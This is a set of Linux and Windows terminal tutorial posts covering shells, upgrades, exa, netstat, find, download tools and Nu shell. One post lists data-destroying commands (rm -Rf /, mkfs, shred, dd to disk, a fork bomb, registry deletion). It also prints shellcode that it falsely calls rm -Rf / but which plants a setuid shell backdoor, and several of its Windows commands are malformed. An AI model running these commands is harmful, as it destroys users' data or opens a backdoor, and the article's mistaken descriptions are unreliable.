Terminal (emulator)

The terminal itself is a physical device that allows inputting and receiving information from a computer. The most important thing is that it is not necessary for the processing of instructions and data to be carried out on the terminal itself.

Certainly, in today’s world, it is common to interact with the operating system in text mode. Well, in most cases, we will not refer to this meaning of terminal. In fact, the correct term refers to the so-called terminal emulators. These allow us to use text mode within a graphical user interface. This other class of terminals are merely applications that run and give us access to a shell. In fact, they usually allow multiple shell types to be used. This is the case, for example, of Windows Terminal. By default, we will be able to manage the following: Windows PowerShell, PowerShell, Command Prompt, Azure Cloud Shell, the multiple distributions we have installed in the Linux Subsystem (WSL), etc.

On the other hand, Windows Terminal is not the only Windows terminal emulator. Indeed, there are MobaXterm, Cmder, ConEmu and others. However, in the case of Unix-based systems (Linux, *BSD, macOS), the catalog of available terminals is multiplied to infinity. In fact, each desktop environment usually offers its own (Gnome Terminal in GNOME, Konsole in KDE, iTerm in macOS…). But it is also possible to install third-party alternatives for all tastes (Terminator, Alacritty, Guake, st…).

Each terminal emulator differs by offering its own graphical interfaces, functionalities, and configuration options. For example, keyboard shortcuts, font and background customization, clipboard management, etc.

Consola [Virtual]

Console is a term that is often used inconsistently. In fact, even more so than the other terms in this list. Additionally, multiple definitions are available on the Internet. In fact, the discrepancies start even in the origin of the word. For some, the old physical console is exactly the same as a physical terminal. On the other hand, others introduce certain nuances, considering the former as a subset of the latter.

What happens when we talk about virtual console? What happens when we talk about virtual console? Many sources consider it, also, synonymous with (terminal emulator.) However, it would be more correct to refer to it as a shell session. Let’s see, let’s suppose we open a terminal emulator and start typing commands directly. In that case, we are, effectively, using a terminal and a console.

On the other hand, suppose we open two tabs in the terminal emulator, whether they are from the same shell. In that case, we are already using two consoles. It can also happen that we subdivide a tab using tools such as a multiplexer (for example, Tmux), or functions such as split table of Windows Terminal. In such a case, the number of consoles will continue to multiply, even if we are only using a single terminal.

In addition, when using a Linux system, we always have several consoles open (although not visible). We are talking about the so-called ‘TTY’, which we can access with the keyboard shortcut Ctrl + Alt + function key (one per key). Part of them will be graphic consoles. However, the others will be text consoles, each running in parallel with the others. Additionally, all of them working outside our graphical environment, so we would not be using them from terminal emulators.

Shell

We have already mentioned, when talking about terminals, several examples of different shells that can be found in Windows. As with terminals, the number of shells in Unix systems multiplies. Certainly, Bash is usually installed as the default shell. However, it is possible to change it for different ones, such as the very popular Zsh. Remember that macOS ended up adopting it as a default shell. Other options include the emerging Fish, the old Ksh and Tcsh, or minority options such as Xonsh.

The function of the shell is to interpret the commands we enter. You might think that there can’t be much difference in how some commands are interpreted. However, there are many variables to watch out for. For example, the different syntax of the scripts, or aspects such as the possibility of creating aliases and defining variables. Also, the existence of syntax highlighting or auto-completion functions. Likewise, the way in which the system output is displayed on the screen. Well, all these elements can make the user experience vary significantly depending on which shell we use.

Command interpreter (or command line)

Every shell is a command interpreter. However, not every shell is a shell. A command interpreter (also called CLI), is any software that interacts with us through the input of text commands. Some CLIs run on top of a shell and are not intended to be a way to control the operating system. Instead, they aim to be just a very specific software or online service. Examples of this can be NPM, IPython, GitHub CLI, AWS CLI or our favorite SSH client. Very well, in this way we have made clear the differences between terminal, console, shell and command line. Bye!

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Some of the most threatening commands

rm -Rf / (GNU/Linux, BSD, Mac)

Look, regarding GNU/Linux, there is a really classic example. Indeed, this command has earned its reputation as dangerous, with good reason. In effect, this command deletes each directory on your hard disk, starting from the root directory (/). Let’s see what it is:

rm -Rf /

Plain and simple, it erases everything completely. To avoid this, several distributions have an alias configured by default. Therefore, when we start rm, we are actually accessing rm -i. Consequently, Bash will ask us to confirm that we really want to perform the deletion.

It also has a variant that only deletes our user folder. Therefore, it also deletes all the configuration files that reside there: rm –rf ~.

mkfs.ext4 /dev/sda (Linux, BSD, Mac)

If using an EXT4 file system, the following command is not unlike the typical DOS/Windows ‘format C:’. In effect, it formats and takes everything with it.

mkfs.ext4 /dev/sda

But, instead of formatting the entire file hierarchy, as above, it focuses on a specific media drive. This drive can be /dev/sda or other.

shred /dev/sda (Linux, BSD, Mac)

Certainly, the above commands are very dangerous. But at least, once run, they allow you to resort to file recovery tools with a good chance of success. However, there is another much less known command that can erase all files on a hard disk with no possible solution:

shred /dev/sda

Shred is a tool that not only deletes content. In fact, it also destroys. In other words, it does not just delete a file from the file table, but overwrites dozens of times the physical space it occupies. Consequently, it makes it totally unrecoverable.

dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)

DD is a tool that is often used to clone disks to create backups. But, used for other purposes, it can cause us to have to resort to them. As in this example:

dd if=/dev/random of=/dev/sda

Let’s take it one step at a time. dev/random is the name of a virtual device that Unix uses as a random number generator. Specifically, what this command does is to copy the contents of that device to the primary hard disk. Consequently, its effect will be the same as using shred /dev/sda, although much slower.

mv / /dev/null (Linux, BSD, Mac)

These virtual devices are much more dangerous than they look. Indeed, dev/random is not the only one of its kind that can give us headaches. Watch out for the following command and what it can do:

mv / /dev/null

What does this command do? Specifically, it moves the contents of (i.e., the entire contents of the system) to the virtual device /dev/null. Before we continue, we want to emphasize that it moves the contents, not copies them. The problem is that /dev/null is the Nothing, it does not exist. To put it graphically, it is a kind of computer black hole. Consequently, any piece of information we throw in there is lost, never to return. Do you realize how serious this is?

:(){ :|:& };: (Linux, BSD, Mac)

Fortunately, the above commands can be read relatively easily. In other words, it is enough to know something about Unix or elements of the language, for an alarm signal to go off. The problem is when a command doesn’t look like one at all. Let’s look at the following example:

:(){ :|:& };:

Introducing the Fork bomb command. Its function is to define and execute a function that recursively calls itself infinitely. Basically, it does nothing by itself. Apart from executing itself so many times that it ends up exhausting the available memory and forcing us to reboot the device.

Hexadecimal commands (Linux, BSD, Mac)

It is possible to convert a command (any) written in normal text mode to hexadecimal format. Consequently, we will not be able to read it. Strictly speaking, what we will not be able to understand it. However, if we tell the system to reconvert and execute the hexadecimal string, it will be as if we were executing the original command directly. Thus, there is no difference between typing rm -Rf / and the following:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

rd/s/q/ C:\ (Windows)

Let’s see a command that for Windows is basically equivalent to the ‘rm -Rf’ of Linux, Mac, and others:

rd/s/q/ C:\

However, there is a difference here. It will only erase data from a specific logical drive (in the example, C:), but not from the whole system. The difference, of course, will only be relevant if we have more than one drive in the system.

Blue Screen of Death command (Windows)

At this point, we are getting a little more creative. You remember the classic blue screens of death in Windows. You probably do, and not in a good way. But if you want to feel a little nostalgic, you can try this command:

@echo off

delete %systemdrive%*.* /f /s

Fortunately, copying and pasting into cmd is not enough. In fact, both lines must be saved as a text file with a .BAT extension, equivalent to Linux .SH.

Registry Deletion (Windows)

Another set of commands to be executed one after the other using a BAT file:

@echo off

START reg delete HKC/.EXE

START reg delete HKCR.dll

START reg delete HKCR/*

With this command, we will completely delete the registry. Consequently, the system will become basically unusable. Okay, so we have seen the ten most dangerous text commands for Windows, Linux, and Mac. Bye

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Debian 11.1 is available

This point release mainly adds corrections for security issues, along with a few adjustments for serious problems. Security advisories have already been published separately and are referenced where available.

One of the things the development team emphasizes is that this is not a new major release of Debian, but a bug-fix release.

Another thing to note is that those who frequently install updates from security.debian.org won’t have to update many packages, and most such updates are included in the point release. So the importance of always updating the system and doing so frequently is emphasized.

So this is a maintenance release but we still need to get it on the system to avoid security problems.

In this post, we will show you how to do it using the terminal without any problems.

Upgrade from Debian 11 to Debian 11.1

The upgrade process is very easy and should not give us any problems. However, it’s also not a bad idea to back up the most sensitive data on your disk to an external device.

Also, it is a good idea to have as few external repositories on your system as possible.

So, check the current version of Debian.

lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye

After that, open a terminal and update the current package.

sudo apt update
sudo apt upgrade

Now perform the system upgrade

sudo apt dist-upgrade

After this, the process will be finished and you will have Debian 11.1 up and running.

This way the upgrade has been successful and we can continue our work.

Conclusion

In this post, you learned how to upgrade Debian 11 to Debian 11.1 to get the latest Debian security features. I hope you found this post useful, although simple, it can be of help to many newbies to the system.

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What is this tool?

If we refer to the Exa website, we have the following definition:

exa is a modern replacement for the command-line program ls that ships with Unix and Linux operating systems. This command is used by terminal users, administrators, and developers hundreds of times daily, as well as being useful when writing automated scripts.

In other words, this command, written in Rust, improves the way files are displayed in Linux. Of course, exa is a different tool, but one that is used by many professionals to quickly display content on Linux.

The tool is built in Rust, so it consumes virtually no unnecessary resources. This means that we can use it on as many computers as we can.

Some of the features of Exa are:

• Supports color scheme to improve the visualization of each of the files.
• Exa provides different views such as Grid, long, and tree. Each of them, to better display the attributes and files.
• It is integrated with Git especially useful for developers because, with Exa, you can see the Git status of files when you’re inside a repository.

Besides this, it is free and does not replace ls so we can use both.

Install Exa the best alternative to the ls command on Linux

Exa is supported by many distributions. If you want to use it on Debian 10, run

sudo apt install exa

For Fedora 34

sudo dnf install exa

But for the rest of the distributions, you may want to do the manual installation which is quite easy.

First, make sure you have the necessary packages installed.

sudo apt install wget unzip

Now download the binary provided by the developers:

wget -c https://github.com/ogham/exa/releases/download/v0.10.0/exa-linux-x86_64-v0.10.0.zip
--2021-07-15 17:33:37--  https://github.com/ogham/exa/releases/download/v0.10.0/exa-linux-x86_64-v0.10.0.zip
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/20060596/64406f00-9587-11eb-80ae-0a8f59c6468a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210715T153337Z&X-Amz-Expires=300&X-Amz-Signature=422091b2ecf1c031214a026401a9d6546580a6996847c667c0b487b54ed4599a&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=20060596&response-content-disposition=attachment%3B%20filename%3Dexa-linux-x86_64-v0.10.0.zip&response-content-type=application%2Foctet-stream [following]
--2021-07-15 17:33:37--  https://github-releases.githubusercontent.com/20060596/64406f00-9587-11eb-80ae-0a8f59c6468a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210715T153337Z&X-Amz-Expires=300&X-Amz-Signature=422091b2ecf1c031214a026401a9d6546580a6996847c667c0b487b54ed4599a&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=20060596&response-content-disposition=attachment%3B%20filename%3Dexa-linux-x86_64-v0.10.0.zip&response-content-type=application%2Foctet-stream
Resolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.109.154, 185.199.110.154, 185.199.111.154, ...
Connecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.109.154|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 717968 (701K) [application/octet-stream]
Saving to: ‘exa-linux-x86_64-v0.10.0.zip’

exa-linux-x86_64-v0.10.0.zip              100%[=====================================================================================>] 701.14K  --.-KB/s    in 0.1s

2021-07-15 17:33:37 (5.75 MB/s) - ‘exa-linux-x86_64-v0.10.0.zip’ saved [717968/717968]

Unzip it

unzip exa-linux-x86_64-v0.10.0.zip

When finished, we have to access the bin folder where the binary is located

cd bin/

Now copy it to any directory that is in the $PATH such as /usr/local/bin.

sudo cp exa /usr/local/bin/

Now you can use it without any problems.

Using Exa the ls command alternative

With exa in the system we just need to invoke it to run

exa

there it will display your files as in the ls command.

One of the most interesting options is --tree which displays a tree view.

exa --tree

Also, we can limit the level of parsing, e.g.

exa --tree --level=2

This way we can control the scanning.

If we add --long to this option we can get more information about the files.

exa --tree --long

Finally, exa can recurse into a directory and list the contents of every subdirectory beneath it.

exa --recurse

For symbolic links, exa handles them very well

exa -l /etc/localtime /etc/resolv.conf

So, enjoy it

Conclusion

Exa is a tool that increases our productivity on the terminal. It is not surprising that more and more people use it in their daily work. Now that you know it, tell us about it.

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Netstat is a tool that we can use through the command line. It allows us to monitor networks and also to troubleshoot certain problems that may arise. Also, it is widely used to identify the TCP connections that are active on the machine on which the command is executed.

All this, we emit an output screen where we can visualize the network information or even export it through the use of commands.

This tool is quite useful for the more technical Linux users because it allows us to quickly analyze and detect possible problems that are happening in our network. Even more, to make an analysis on it.

Despite being so popular, it is not included in most Linux distributions and that is why in this post, we will help you how to install it.

So, let’s start.

Install the Netstat on Linux command

As we said, being such a popular tool, it is hard to believe that it is not included in the existing Linux distributions.

The solution to this is to install via official repositories, the net-tools package in order to add the command but also other important tools.

So, in the case of Debian, Ubuntu, Linux Mint, ElementaryOS, and any distribution based on any of these, just open the terminal and execute

sudo apt update
sudo apt install net-tools

In case you are using, Fedora 34, RockyLinux, AlmaLinux OS, RHEL 8, CentOS 8, Oracle Linux 8, or any distribution based on these.

sudo dnf install net-tools

But, if you are using older versions such as RHEL 7, CentOS 7, Oracle Linux 7, or any of their derivatives, then you will need to run

sudo yum install net-tools

A very popular distribution among Linux users is Arch Linux. It also has some derivatives such as Manjaro. For these distributions or any derivative of them, just run:

sudo pacman -S netstat-nat

As we all know, one of our favorite distributions is OpenSUSE, so we can’t leave it out.

So, to install it on OpenSUSE

sudo zypper in net-tools

This way we will be able to use it from the terminal without problems.

Using the Netstat command

It is normal to use the command directly on the terminal. And there it will show much of the default information of the active network interface.

Another common use is to run it together with some other options, for example:

netstat -tulpn

For more complex use of this command, we have prepared a post on the use of Netstat where you can find use cases.

Monitor Network with netstat command in Linux

So, enjoy it.

Conclusion

These types of commands can be useful in our work where many tools are required to help with network control. Although there are more specialized and larger tools, it is also true that sometimes we just need a little help.

The post How to install the netstat command on Linux? appeared first on Linux Windows and android Tutorials.

I think you already know but there are commands to create a user, delete a user, list registered users, but at work needs always arise. And if you need to know which are the users of the system? What is that command?

Well, there are several commands, and each one has its own way of doing the job and you can even combine them to get better results.

Let’s go for it.

How to list users in Linux

Commands that use the /etc/passwd file

In the /etc/passwd file you can find information about the system users. However, it is not as readable as you would like it to be, it is a good option.

Open a terminal and run the following command

cat /etc/passwd

And you will get a screen output similar to this.

The first thing you may notice is that there are many users but most of them are system users required to perform many operations that have to do with the operation of the system.

The second thing is that the information is separated by columns where different fields are shown such as Username, encrypted password, UID, GID, and other information.

If you want to know only the users, you can filter the on-screen output of the cat command with the help of the cut command.

cat /etc/passwd | cut -d: -f1

This way only the users will be displayed without the rest of the information.

The same result can be obtained with the command awk.

cat /etc/passwd | awk -F: '{print $1}'

This way we will be able to list the system users.

List users in Linux with compgen

Although the above commands are easy to use, they are not so easy to memorize. Especially when you have to share them with others.

That is why there is the command compgen with which we can simply get all the users of the system.

To do this, just run

compgen -u

And in this simple way, we will be able to have all the users of the system.

Bonus: List the users connected to the system

On the other hand, it is convenient on many occasions to know which are the users that are connected in real-time with the system. To do this you only have to run

who

And you will be able to list the users that are using the system at this moment.

Conclusion

A terminal is a tool in which many professionals make their working life and that is full of tricks to take full advantage of it. In this post, you have learned how to list users in Linux quickly and easily.

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The find command is a command that searches for files and folders, from the command line, in a directory tree. It is used by many users who work in the terminal and can help even the most veteran users of the system.

So, let’s show you some examples of how to use the command to find files in any Linux distribution.

How to find files in Linux

The find command is part of the GNU Utils so it is available in any Linux distribution you can think of. So like any command, it has a basic syntax which is as follows

find [path] [parameters] [values] [values]

From what we can see, it is simple to use and now we will show some examples

• Find a file of which we know the name and extension:

find / -name name.txt 

Replace name with the name of the file. In this case, a file named name.txt will be searched for in the whole system.

• Search for files in a particular location.

find /home/angelo/ -name name.txt

• Doing case-insensitive searches

When searching by filename it is common to not remember whether it is upper or lower case. To do this, you can follow the following structure

find /home/angelo -iname name name.txt

Remember that you can modify the names and parameters to fit your criteria.

• Search for directories or folders

To search for directories we must use the type d parameter, it is as simple as this.

find / -type d -name documents

This will search for all folders named documents in the whole system. Also, you can change the search directory.

• Search files by extension

In this case, it is also useful to know how to search for files by extension. In this case, the option that will help us is type f.

find / -type f -name *.sh

Thus, in the above example, all files with the extension .sh in the system will be searched.

Other examples of the find command

It is also useful to know how to search for files by permissions, to do this use the perm parameter and the permission you want to search for.

find / -type f -perm 0775

or even, permissions different from the specified one

find / -type f ! -perm 775

• Search for empty files or folders

In this case, we can easily do it with these two commands

find / -type f -empty
find / -type d -empty

The first one works for files and the second one for directories or folders.

• Find files according to their modification date

For many sysadmins this can be very useful because we can perform a search according to the time it was modified.

find / -type f -mtime +21

In this case, all files that are older than 21 days since their last modification will be searched.

• Search files according to their size

Also, with the size option we can further filter our search. For example, we can search for files that weigh more than 10Mb.

find / -type f -size +10M

That is to say, with this we can be more effective.

So, enjoy it.

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When referring to downloading files, the first thing we can think of is the web browser. This is true up to a point. Because in the terminal we also have many options for downloading.

The Linux Terminal is a powerful tool so much so that it is the main working support for many servers. Therefore, the terminal is fast, secure, and efficient.

So, let’s talk about those tools.

Terminal Tools for Downloading Files

Several tools allow a download without major problems, but we will name the most familiar and easy to use.

1.- The great wget

GNU wget is a CLI (command-line interface) utility that allows you to download files from the internet if you know its link. It is very efficient in the management of computer resources because it is practically unnoticeable its use. In addition, this allows you to rename the downloaded files quickly.

On the other hand, although it is a program that is used in the terminal, it is quite complete. Here is a list of the main features of the application:

• Wget supports downloads through proxies
• IPv6 is fully supported by wget.
• It allows limiting the bandwidth used for downloads.
• Wget works with SSL/TSL to secure downloads.

But Wget has many configurations and work options. So many that we made a post about it:

The Wget Command

There you can learn even more about Wget and above all how to use it.

2.- cURL

Another veteran of our site is cURL.

CURL is a command line tool and library for transferring data with URLs. Many download scripts or file transfers use CURL as a means to achieve this. In addition, CURL supports FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP and many other protocols quite popular on networks.

On the other hand, the use of CURL is not limited exclusively to computers but to other devices that use UNIX such as cell phones, cars and is the transfer backend of many of the most popular applications in the world.

Say that cURL is even more advanced than Wget but you also have other additional features.

So, if you want to learn more about it, check our post:

How to use CURL command on Linux?

3.- Terminal Tools for Downloading Files used on Scripts

It is also possible to find other tools that are in the main repositories of most Linux distributions. We are talking about tools like rsync or scp.

Rsync, remote synchronize is known as a remote synchronization function of the software, it synchronizes files at the same time, can maintain the original file permissions, time, hard and soft links and other additional information. it is a “sync algorithm” that provides a quick way to synchronize files between clients and remote file servers, and can also be transferred via SSH, which is also very confidential, supports breakpoint continuation, data can be pushed or pulled, and is free of chargeS.

Rsync advantages：

• Ability to update entire directories and trees and file systems;
• Selectively maintain symbolic links, hard links, file ownership, permissions, devices, and time for folders and files;
• For installation, there are no special permission requirements;
• For multiple files, the internal pipeline reduces the file wait delay;
• Can use RSH, SSH or direct port as the transfer port;
• Support anonymous Rsync synchronization files are the ideal mirror tool;

You can read:

Synchronous data Using rsync Command in Linux

Although it is true that with Rsync we do not make a download itself, it can help us to copy and synchronize files from a server. What in practice can be considered a download.

On the other hand, scp is a variation of the cp command that allows you to copy files over a network. As with Rsync it is not a download but in practice it allows us to do it. Especially when we have access to certain files from a given server.

Conclusion

The terminal is a marvel in Linux and so much so that you can download files from the internet or a network using commands. This is useful on servers or computers with ssh connections.

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Nu shell?

Let’s start with the basics. What is Nu Shell? Well, Nu shell is a new terminal, released under the MIT license and created in Rust with a different paradigm than others. According to its official documentation the goal of this project is “to take the Unix philosophy of shells, where pipes connect simple commands together, and bring it to the modern style of development”.

So, we can say with these objectives that Nu Shell intends to modernize the output of some commands in the terminal. Adapting them to situations less complex to understand and ideal for developers or sysadmin.

Install it on Ubuntu 20.04

Nu Shell is created in Rust. For tango we can use the Rust package manager called cargo. However, obviously the first step is to install Rust on Linux.

How to install Rust on Ubuntu 20.04 / Debian 10?

Then, you have to install some dependencies. If you use Debian, Ubuntu or one of their dervidas, just use this command:

:~$ sudo apt install pkg-config libssl-dev libxcb-composite0-dev libx11-dev

And then, if we can start the installation.

:~$ cargo install nu --all-features

And we wait for the process to end.

Using Nu Shell

The first thing to say is that the official documentation of the project is quite good. And we will use it for some illustrative examples.

To start the program just use the following command:

:~$ nu

And to exit the application, just run exit.

To see a sample of the potential of the application, let’s use the command ls in any directory. Remember that the command ls shows the files in a directory.

As we can see that is the content of the carptea Music of my system. But what stands out is the way in which the command is presented to us, different from the typical Linux terminal.

Easily and quickly we can have information about the files in a folder. But the strength of the application are the pipes and the filters. What if we want to show only the folders?

I will go back to my personal folder and from there I will illustrate the example.

Just, run:

:~$ ls | where type == Directory

And that’s how fast and easy we can use the ls command.

Let’s see what the date command looks like.

If you use a lot of Linux, you will know that the ps command lists the active processes of our computer.

Of course there are many more utilities that are available in the official project documentation.

Over time they will improve and incorporate others. In addition to polishing others.

So, enjoy it.

Conclusion

Nu shell is profiled as a revolutionary terminal that wants to adapt the shell to today’s needs without many problems. If you are sysadmin or work a lot with the terminal thank applications like this.

It still has a long way to go but thanks to the official documentation it is possible to get a lot out of it.

One last detail that I forgot to mention is that the application has autocomplete that makes the job even easier.

The Nu Shell official documentation

GitHub site.

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eDEX-UI is a terminal emulator with a strange name but full of interesting features.

Actually, the whole aspect of the terminal is very interesting. However, the system monitor is very complete. It shows date and time, information about the hardware, resource consumption, network traffic, running processes, and a perfectly functional directory viewer. GNU/Linux users have multiple graphic options to monitor the computer. Such as Conky or I-Nex. However, in Windows this is not as common or easy to use. But in addition, eDEX-UI includes several themes to modify the visual aspect. And as mentioned, it includes great sound effects. These appear when the terminal is launched and while it is being used as well.

How to install and use eDEX-UI

This open source project is hosted by GitHub. Therefore, you just need to download it from the project site. However, there is no need to compile it, since its maintainers offer an executable file for Windows 10. After downloading, you just need to install it like any other program for Windows. At the time of launching it, the emulator has a very striking startup sequence with welcome more sound effects included. Although it is usually new at first, you may want to remove it later. And this can be done from the settings screen. To do this, just press the combination Ctrl+Shift+S.

As you can see there are many configurations. For example, you can choose other themes.

At the level of customization, the program allows you to modify many things. For example, remove the welcome screen and sound effects. Additionally, change the font, text size, enable a window mode, hide the keyboard from the screen, etc. In addition, there is a guide on the wiki about customization that includes even CSS injection.

Conclusion

We are definitely in front of a terminal emulator very different from the rest. Because apart from the options shown, it allows you to select the terminal that will be used. In addition, it is possible to run several terminal windows. From now on, you only have to use it to discover more features. I hope you enjoyed this look about eDEX-UI: A cross-platform terminal with a cool graphic interface. Before saying goodbye I invite you to see our post about increasing privacy in Windows 10. See you soon!

The post eDEX-UI: A cross-platform terminal with a cool graphic interface. appeared first on Linux Windows and android Tutorials.